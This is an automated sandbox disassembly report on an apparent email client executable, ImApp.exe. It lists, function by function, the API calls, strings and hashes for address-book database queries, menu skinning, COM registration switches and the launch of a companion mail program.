Opcode ID: 02c60d4ba333706b487963a6253690c09151f11a8e896518ef958a4b45fdf9d8
Instruction ID: b341bead14c950ac5f465a7d582f29ff2df8a42972782faca8dae1ae992722d8
Opcode Fuzzy Hash: 02c60d4ba333706b487963a6253690c09151f11a8e896518ef958a4b45fdf9d8
Instruction Fuzzy Hash: 7071C071A08700AFD320EF2AC980B6BB7E5EBC4754F10492EF595A3280D779F941CB5A

Function 020C6170 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 112COMMON

Download Yara Rule

APIs

#2.IMDBU(?,265105E4,AddrBook.db3,00000000,AddrBook.db3,?,00000000,020EBBB9,000000FF,020CDF09,00000001), ref: 020C61A0
#310.MFC80U(?,265105E4,AddrBook.db3,00000000,AddrBook.db3,?,00000000,020EBBB9,000000FF,020CDF09,00000001), ref: 020C61C4
#7.IMDBU(?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C61F9
#6.IMDBU(00000000,?,?,?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C6219
#23.IMDBU(Email_Index,00000000,Email,00000001,00000000,?,?,?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C6235
#23.IMDBU(DisplayName_Index,00000000,DisplayName,00000000,Email_Index,00000000,Email,00000001,00000000,?,?,?,ContactID,00000000,00000001,00000000), ref: 020C6251
#23.IMDBU(FirstName_Index,00000000,FirstName,00000000,DisplayName_Index,00000000,DisplayName,00000000,Email_Index,00000000,Email,00000001,00000000,?,?,?), ref: 020C626D
#23.IMDBU(LastName_Index,?,LastName,00000000,FirstName_Index,00000000,FirstName,00000000,DisplayName_Index,00000000,DisplayName,00000000,Email_Index,00000000,Email,00000001), ref: 020C6289
#578.MFC80U(00000000,?,?,?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C629C

Strings

FirstName_Index, xrefs: 020C6266
LastName_Index, xrefs: 020C6282
Email, xrefs: 020C6228
AddrBook.db3, xrefs: 020C617F, 020C6181
FirstName, xrefs: 020C6260
DisplayName_Index, xrefs: 020C624A
LastName, xrefs: 020C627C
Email_Index, xrefs: 020C622E
ContactID, xrefs: 020C61F1
DisplayName, xrefs: 020C6244

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578
String ID: AddrBook.db3$ContactID$DisplayName$DisplayName_Index$Email$Email_Index$FirstName$FirstName_Index$LastName$LastName_Index
API String ID: 3447019164-795222754
Opcode ID: 42c291a6faa2f97c5405e59622f7409c857a2af651d5492ba9f0e1c69fa0cfbb
Instruction ID: fe297ce2c48977eb6a8bbbe7701d2c862b49a4dd8587e35582f33f2c796df834
Opcode Fuzzy Hash: 42c291a6faa2f97c5405e59622f7409c857a2af651d5492ba9f0e1c69fa0cfbb
Instruction Fuzzy Hash: F531A8727847109FE765CB14C881F6BB3EAEBC8B10F15061DF91ADB780C765AC05A7A1

Function 020CE180 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 105COMMON

Download Yara Rule

APIs

#6735.MFC80U(TempContacts,265105E4,0000000E,00000000,?,?,00000000,020ED234,000000FF,020CDDD0,00000000,?,020C6049), ref: 020CE1AD

Part of subcall function 020C6170: #2.IMDBU(?,265105E4,AddrBook.db3,00000000,AddrBook.db3,?,00000000,020EBBB9,000000FF,020CDF09,00000001), ref: 020C61A0

#578.MFC80U(00000001,?,00000000,020ED234,000000FF,020CDDD0,00000000,?,020C6049), ref: 020CE1D6
#310.MFC80U(?,00000000,020ED234,000000FF,020CDDD0,00000000,?,020C6049), ref: 020CE1E8
#2311.MFC80U(?,INSERT INTO %s SELECT ContactID,Email,DisplayName,FirstName,LastName,ChummiconID,IsFavorite,Phone,Phone2,Mobile,WebSite,Address,N,TempContacts,Contacts,?,00000000,020ED234,000000FF,020CDDD0,00000000,?,020C6049), ref: 020CE210
#8.IMDBU(?,00000001,00000000,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CE223
#578.MFC80U ref: 020CE236
#29.IMDBU(Contacts), ref: 020CE24B
#6735.MFC80U(Contacts,Contacts), ref: 020CE261

Part of subcall function 020C6170: #310.MFC80U(?,265105E4,AddrBook.db3,00000000,AddrBook.db3,?,00000000,020EBBB9,000000FF,020CDF09,00000001), ref: 020C61C4
Part of subcall function 020C6170: #7.IMDBU(?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C61F9
Part of subcall function 020C6170: #6.IMDBU(00000000,?,?,?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C6219
Part of subcall function 020C6170: #23.IMDBU(Email_Index,00000000,Email,00000001,00000000,?,?,?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C6235
Part of subcall function 020C6170: #23.IMDBU(DisplayName_Index,00000000,DisplayName,00000000,Email_Index,00000000,Email,00000001,00000000,?,?,?,ContactID,00000000,00000001,00000000), ref: 020C6251
Part of subcall function 020C6170: #23.IMDBU(FirstName_Index,00000000,FirstName,00000000,DisplayName_Index,00000000,DisplayName,00000000,Email_Index,00000000,Email,00000001,00000000,?,?,?), ref: 020C626D
Part of subcall function 020C6170: #23.IMDBU(LastName_Index,?,LastName,00000000,FirstName_Index,00000000,FirstName,00000000,DisplayName_Index,00000000,DisplayName,00000000,Email_Index,00000000,Email,00000001), ref: 020C6289
Part of subcall function 020C6170: #578.MFC80U(00000000,?,?,?,ContactID,00000000,00000001,00000000,020F1B94), ref: 020C629C

#578.MFC80U(00000000), ref: 020CE28A
#310.MFC80U ref: 020CE298
#2311.MFC80U(?,INSERT INTO %s SELECT ContactID,Email,DisplayName,FirstName,LastName,ChummiconID,IsFavorite,Phone,Phone2,Mobile,WebSite,Address,N,Contacts,TempContacts), ref: 020CE2BA
#8.IMDBU(?,00000001,00000000,?,?,00000001,00000000,?,?,?,?,?,6CA95DEE,000000FF,020D7F28,?), ref: 020CE2CA
#578.MFC80U ref: 020CE2DB
#29.IMDBU(TempContacts), ref: 020CE2E8
#8.IMDBU(update contacts set source=1 where source is null,00000001,00000000,?,00000000,020ED234,000000FF,020CDDD0,00000000,?,020C6049), ref: 020CE2F9

Strings

INSERT INTO %s SELECT ContactID,Email,DisplayName,FirstName,LastName,ChummiconID,IsFavorite,Phone,Phone2,Mobile,WebSite,Address,N, xrefs: 020CE20A, 020CE2B4
Contacts, xrefs: 020CE1FC, 020CE244, 020CE258, 020CE2AB
update contacts set source=1 where source is null, xrefs: 020CE2F1
TempContacts, xrefs: 020CE1A4, 020CE201, 020CE2A6, 020CE2E1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#2311#6735
String ID: Contacts$INSERT INTO %s SELECT ContactID,Email,DisplayName,FirstName,LastName,ChummiconID,IsFavorite,Phone,Phone2,Mobile,WebSite,Address,N$TempContacts$update contacts set source=1 where source is null
API String ID: 929525356-803259908
Opcode ID: 746001d3abc8342023fc51d0d6661c0331266e974891b05ed0dd7340d97b2390
Instruction ID: 8446786711f34150716a2b43f266252ea0b51d0b77eee1dc7ebcb452e93b34e0
Opcode Fuzzy Hash: 746001d3abc8342023fc51d0d6661c0331266e974891b05ed0dd7340d97b2390
Instruction Fuzzy Hash: FF41BC716843019FE300DF24CC45B9EB7A6FB84B10F404A1CFA665B6C0DB74AA0ACF56

Function 10009940 Relevance: 33.3, APIs: 14, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

#6735.MFC80U(00000004,DC7F1836,00000000,?,?,1000A826,000000FF,10009547,?,?,?,?,00000000,1000A8EC,000000FF,10001796), ref: 1000996B
#5484.MFC80U(0000005C,0000002F,?,?,1000A826,000000FF,10009547,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000), ref: 10009981
#4078.MFC80U(?,?,1000A826,000000FF,10009547,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 1000998B

Part of subcall function 10009AC0: #6700.MFC80U(?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009AFB
Part of subcall function 10009AC0: #299.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009B04
Part of subcall function 10009AC0: #1479.MFC80U(?,ReaderEvent_,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009B46

#774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 100099B0
#578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 100099BF
#774.MFC80U(00000000,?,?,?,?,?,?,?,?,000000FF), ref: 100099E4
#578.MFC80U(?,?,?,?,?,?,?,?,000000FF), ref: 100099F3
#774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A18
#578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A27
#774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A4C
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A5B
#774.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A80
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009A8F
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009AA1

Strings

SharedMemMutex_, xrefs: 10009A6A
GlobalSyncEvent_, xrefs: 100099CE
WriterMutex_, xrefs: 10009A02
ReadersCounter_, xrefs: 10009A36
ReaderEvent_, xrefs: 1000999A

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#774$#1479#299#4078#5484#6700#6735
String ID: GlobalSyncEvent_$ReaderEvent_$ReadersCounter_$SharedMemMutex_$WriterMutex_
API String ID: 837969198-939983667
Opcode ID: aa5b3cdbcd060bbfb3df9382eec636eafd80898165ade7a0543910b50477fba9
Instruction ID: f7bac0677cf2c4b8551f8ce13999d55a720169bf6e34d214726459af42284069
Opcode Fuzzy Hash: aa5b3cdbcd060bbfb3df9382eec636eafd80898165ade7a0543910b50477fba9
Instruction Fuzzy Hash: F541FE75008396DFE305CF10D898F9BBBE4FB59654F04491CF486522A5EB34A609CBA3

Function 00416F50 Relevance: 33.3, APIs: 15, Strings: 4, Instructions: 93windowCOMMON

Download Yara Rule

APIs

#19.IMLOOKU ref: 00416F87
CreatePopupMenu.USER32 ref: 00416F94
#1274.MFC80U(00000000), ref: 00416F9F
#236.IMLOOKU(00000000,000003F5,00003AC2,00000000,00000000), ref: 00416FB6
#236.IMLOOKU(00000000,000003F6,00003AC4,00000000,00000000,000003F5,00003AC2,00000000,00000000), ref: 00416FCD
SetMenuDefaultItem.USER32(?,000003F5,00000000,00000000,000003F6,00003AC4,00000000,00000000,000003F5,00003AC2,00000000,00000000), ref: 00416FDE
#762.MFC80U(000001D0), ref: 00416FE9
#23.IMLOOKU ref: 00417000
#6735.MFC80U(MenuHighlight.png), ref: 00417020
#6735.MFC80U(MenuBorder.png), ref: 00417037
#6735.MFC80U(MenuLeftTile.png), ref: 0041704E
#6735.MFC80U(MenuBG.png), ref: 00417065
#1962.MFC80U(00000001,00000001), ref: 00417078
#1663.IMLOOKU(00000000,00000001,00000001), ref: 00417089
#68.IMLOOKU(00000000,00000001,00000001), ref: 0041709A

Strings

MenuBG.png, xrefs: 00417060
MenuLeftTile.png, xrefs: 00417049
MenuBorder.png, xrefs: 00417032
MenuHighlight.png, xrefs: 00417015

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6735$#236Menu$#1274#1663#1962#762CreateDefaultItemPopup
String ID: MenuBG.png$MenuBorder.png$MenuHighlight.png$MenuLeftTile.png
API String ID: 3570047986-3057097864
Opcode ID: 2bbead025e46aa71be97bf9515b4a720ec7d71d61b610bcfec4898531cc30255
Instruction ID: e8c949f1a95f95001375704a4fd9557aa5e56aefd8f5ba945ccf68f8d103a9d6
Opcode Fuzzy Hash: 2bbead025e46aa71be97bf9515b4a720ec7d71d61b610bcfec4898531cc30255
Instruction Fuzzy Hash: 02313970348340AFD314DB24DD4AB8B7FE4EB88718F400A1DF085962D1EBB89544CB9B

Function 00413C50 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 121stringcomthreadCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00413C63
#1079.MFC80U ref: 00413C8B
GetCurrentThreadId.KERNEL32 ref: 00413CA5
GetCommandLineW.KERNEL32 ref: 00413CB0
lstrcmpiW.KERNEL32(00000000,UnregServer), ref: 00413CEE
lstrcmpiW.KERNEL32(00000000,RegServer), ref: 00413CFA
CoUninitialize.OLE32 ref: 00413D40

Strings

UnregServer, xrefs: 00413CE8
H*C, xrefs: 00413CCD
H*C, xrefs: 00413D94
H*C, xrefs: 00413C9B
RegServer, xrefs: 00413CF4
H*C, xrefs: 00413D06
H*C, xrefs: 00413D9E
H*C, xrefs: 00413D71
H*C, xrefs: 00413D16
H*C, xrefs: 00413D24

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: lstrcmpi$#1079CommandCurrentInitializeLineThreadUninitialize
String ID: H*C$H*C$H*C$H*C$H*C$H*C$H*C$H*C$RegServer$UnregServer
API String ID: 1662245136-371579285
Opcode ID: 891a3aa6a489b5561521996ba582e1b3f0487996a5e3b75956bc3f558eebebbe
Instruction ID: fb6314cd9014364a110f88a9bcc4eed2415fd26f95a5d79caefd62a19e85fcff
Opcode Fuzzy Hash: 891a3aa6a489b5561521996ba582e1b3f0487996a5e3b75956bc3f558eebebbe
Instruction Fuzzy Hash: 7231C571340300ABD310BB65BD43BAA73909F88B15F90413FFA099A2D1DBB9994487AE

Function 032768DF Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 141sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?,00000001,?,03276B09,00000001,?,?,0327BE08,00000010,03276BD5,?), ref: 0327693C
InterlockedCompareExchange.KERNEL32(0327D6E4,?,00000000), ref: 03276945
_amsg_exit.MSVCR80 ref: 03276963
_initterm_e.MSVCR80 ref: 0327697E
_initterm.MSVCR80 ref: 0327699A
InterlockedExchange.KERNEL32(0327D6E4,00000000), ref: 032769AF
Sleep.KERNEL32(000003E8,?,?,00000001,?,03276B09,00000001,?,?,0327BE08,00000010,03276BD5,?), ref: 03276A00
InterlockedCompareExchange.KERNEL32(0327D6E4,00000001,00000000), ref: 03276A0A
_amsg_exit.MSVCR80 ref: 03276A1C
_decode_pointer.MSVCR80(?,?,00000001,?,03276B09,00000001,?,?,0327BE08,00000010,03276BD5,?), ref: 03276A30
_decode_pointer.MSVCR80(?,00000001,?,03276B09,00000001,?,?,0327BE08,00000010,03276BD5,?), ref: 03276A3F
_encoded_null.MSVCR80(00000001,?,03276B09,00000001,?,?,0327BE08,00000010,03276BD5,?), ref: 03276A51
_decode_pointer.MSVCR80(?,?,03276B09,00000001,?,?,0327BE08,00000010,03276BD5,?), ref: 03276A61
free.MSVCR80 ref: 03276A6E
_encoded_null.MSVCR80(?,0327BE08,00000010,03276BD5,?), ref: 03276A75
InterlockedExchange.KERNEL32(0327D6E4,00000000), ref: 03276A92

Strings

0M"v, xrefs: 0327691B

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: ExchangeInterlocked$_decode_pointer$CompareSleep_amsg_exit_encoded_null$_initterm_initterm_efree
String ID: 0M"v
API String ID: 2174737765-3086592775
Opcode ID: ab3df135833e84b8802d22fdde826c30200b98127d69a942ce2e2058b1fe1ce8
Instruction ID: 8f391cd9d430417132f43ac923c0091b27366423fb4596f584d2c67de30fb095
Opcode Fuzzy Hash: ab3df135833e84b8802d22fdde826c30200b98127d69a942ce2e2058b1fe1ce8
Instruction Fuzzy Hash: F041DE71634B02EFC720FF25F84DA2ABBA8FF45751F14842AF50AA6184DB71D4C0CA91

Function 020CAA30 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(265105E4,00000001,?,?,?), ref: 020CAA65
_invalid_parameter_noinfo.MSVCR80(265105E4,00000001,?,?,?), ref: 020CAA73
#9.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,MemberType,?,?,?,?,?,?,265105E4,00000001,?,?,?), ref: 020CAAA0
#9.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,MemberID,?,SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,MemberType,?,?,?,?,?,?,265105E4,00000001,?,?,?), ref: 020CAABD
#20.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,MemberID,?,SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,MemberType,?,?,?,?,?,?,265105E4,00000001,?,?,?), ref: 020CAACE
#12.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAAE9
#19.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAAF6
#19.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAB03
#24.IMDBU(GroupID,?,SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAB25
#18.IMDBU(GroupID,?,SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAB43
#19.IMDBU(GroupID,?,SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAB4C
#16.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAB61
#16.IMDBU(SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID,?,00000001), ref: 020CAB76

Strings

GroupID, xrefs: 020CAB11
MemberID, xrefs: 020CAAB1
SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID, xrefs: 020CAA99, 020CAAB6, 020CAAE2
MemberType, xrefs: 020CAA91

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: GroupID$MemberID$MemberType$SELECT GroupID FROM GroupsMembers WHERE MemberType=:MemberType AND MemberID=:MemberID
API String ID: 3215553584-204000939
Opcode ID: 9c0e3c25e612a00df269ea645897802b1921db2a568ed8e6621434b4b33d0cd9
Instruction ID: f8fa23744baf66a474e1affeb82c5614427d852ed583ac3a4162af4d43c2aa72
Opcode Fuzzy Hash: 9c0e3c25e612a00df269ea645897802b1921db2a568ed8e6621434b4b33d0cd9
Instruction Fuzzy Hash: E931B4B13447059FE714DF20C884AAFB7EAAFD4350F60451CFA6682690DB30E845EF51

Function 020E50B0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4,?,?,?), ref: 020E50E2
#310.MFC80U(265105E4,?,?,?), ref: 020E50EF
#310.MFC80U ref: 020E50FE
#10.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E511F
#12.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,?,00000000,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E5135
#19.IMDBU(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E513E
#25.IMDBU(GUID,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E5166
#6735.MFC80U(?,GUID,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E5174
#1472.MFC80U(?), ref: 020E518D
#578.MFC80U(GUID,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E51B9
#18.IMDBU(GUID,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E51CF
#19.IMDBU(GUID,?,SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E51D8
#578.MFC80U(SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc,020FA300,?), ref: 020E51EE
#578.MFC80U ref: 020E51FD
#16.IMDBU ref: 020E520F

Strings

SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc, xrefs: 020E5116, 020E512E
GUID, xrefs: 020E515D

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#1472#6735
String ID: GUID$SELECT * FROM RecentlyUsedPictures WHERE ID = :ID order by Time desc
API String ID: 3781893156-740648067
Opcode ID: 6358b1485213df3e78292e98ac050f2f9328933dbee376aa6e406ec943402b5d
Instruction ID: 30a90ef795b917f433886da4c58ba8c6dce012b7962f632f03ac0fff1fb56043
Opcode Fuzzy Hash: 6358b1485213df3e78292e98ac050f2f9328933dbee376aa6e406ec943402b5d
Instruction Fuzzy Hash: FE419C716883408FE301DF24C898B9BBBE5BFD4704F140D2DF997822A0DB74A989DB52

Function 004165B0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 98COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036), ref: 004165DC
#2311.MFC80U(?,/c /auto:options:%d,00000006), ref: 004165F4
#1359.IMUTILSU(?,IncMail.exe,00000001), ref: 00416606
#3391.MFC80U(00000000,00000001), ref: 0041661C
#3391.MFC80U(00000000), ref: 00416625
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 00416632
#578.MFC80U ref: 00416640

Part of subcall function 00414580: #679.IMUTILSU(004247D4,00000000,00000015,004247A4,?), ref: 004145A7

#6735.MFC80U(CSC), ref: 00416673
#1441.IMUTILSU(?), ref: 00416687
#1355.IMUTILSU(00000001,00000001,?), ref: 0041669D
#83.IMUTILSU ref: 004166B6
#578.MFC80U ref: 004166C3
#578.MFC80U ref: 004166E1

Strings

/c /auto:options:%d, xrefs: 004165EE
IncMail.exe, xrefs: 00416600
open, xrefs: 0041662C
CSC, xrefs: 0041666A

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#3391$#1355#1359#1441#2311#310#6735#679ExecuteShell
String ID: /c /auto:options:%d$CSC$IncMail.exe$open
API String ID: 1929471234-3746329
Opcode ID: 69681553f08883bf33d0c3d0e5dab413c502c308c299cb762d1176d6c3eb56eb
Instruction ID: 00e89f865b9c55864761241d230d252ff8b870531e322f6f5bdb8d18037574a0
Opcode Fuzzy Hash: 69681553f08883bf33d0c3d0e5dab413c502c308c299cb762d1176d6c3eb56eb
Instruction Fuzzy Hash: E8316E71208341AFC314EF24DC89F9ABBE4BB98714F80092DF582972A1DBB89549CB56

Function 020CC450 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4), ref: 020CC482
#776.MFC80U(SELECT DomainName FROM Domains WHERE ProviderID=:ProviderID), ref: 020CC49E
#310.MFC80U ref: 020CC4AE
#2311.MFC80U(?, AND DomainName LIKE '%s%%',?), ref: 020CC4C8
#896.MFC80U(?), ref: 020CC4DA
#578.MFC80U ref: 020CC4E9
#899.MFC80U( ORDER BY Popularity DESC, DomainName COLLATE NOCASE ASC), ref: 020CC4F8
#9.IMDBU(?,ProviderID), ref: 020CC512
#20.IMDBU(?,ProviderID), ref: 020CC51B
#12.IMDBU(?,?,00000001,?,ProviderID), ref: 020CC533
#16.IMDBU(?,?,00000001,?,ProviderID), ref: 020CC554
#578.MFC80U ref: 020CC562
#578.MFC80U ref: 020CC574

Strings

AND DomainName LIKE '%s%%', xrefs: 020CC4C2
ProviderID, xrefs: 020CC507
ORDER BY Popularity DESC, DomainName COLLATE NOCASE ASC, xrefs: 020CC4EF
SELECT DomainName FROM Domains WHERE ProviderID=:ProviderID, xrefs: 020CC495

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

